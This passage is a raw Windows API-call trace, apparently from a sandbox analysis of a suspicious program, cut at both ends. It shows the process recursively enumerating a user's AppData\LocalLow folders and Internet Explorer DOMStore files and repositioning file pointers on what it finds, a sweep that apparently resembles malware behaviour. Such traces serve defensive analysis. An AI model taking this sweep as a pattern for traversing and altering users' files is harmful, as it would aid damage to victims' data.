dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.167] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.167] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.167] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.167] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.168] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.168] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.168] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.168] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.168] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.168] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.168] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.168] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.168] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.168] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.168] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.168] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.168] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.169] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.169] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.169] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.169] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.169] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.169] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.169] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.169] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.169] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.169] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.169] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.169] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.170] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.170] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.170] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.170] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.170] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.170] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.170] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1 [0089.170] lstrcmpW (lpString1="DOMStore", lpString2=".") returned 1 [0089.170] lstrcmpW (lpString1="DOMStore", lpString2="..") returned 1 [0089.170] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.171] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.171] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.171] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.171] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.171] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="36USA68T", cAlternateFileName="")) returned 1 [0089.171] lstrcmpW (lpString1="36USA68T", lpString2=".") returned 1 [0089.171] lstrcmpW (lpString1="36USA68T", lpString2="..") returned 1 [0089.171] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.171] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.171] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.172] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.172] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.172] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 1 [0089.173] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0089.173] CloseHandle (hObject=0x26c) returned 1 [0089.173] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 0 [0089.173] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.173] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.173] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 1 [0089.173] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.173] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.173] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.173] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.173] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.173] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 1 [0089.174] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0089.174] CloseHandle (hObject=0x26c) returned 1 [0089.174] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 0 [0089.175] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.175] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.175] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 1 [0089.175] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.175] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.175] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.175] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.175] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.175] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.175] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.175] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.176] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.176] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.176] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.176] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.176] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.176] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.176] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0x0, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 1 [0089.176] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 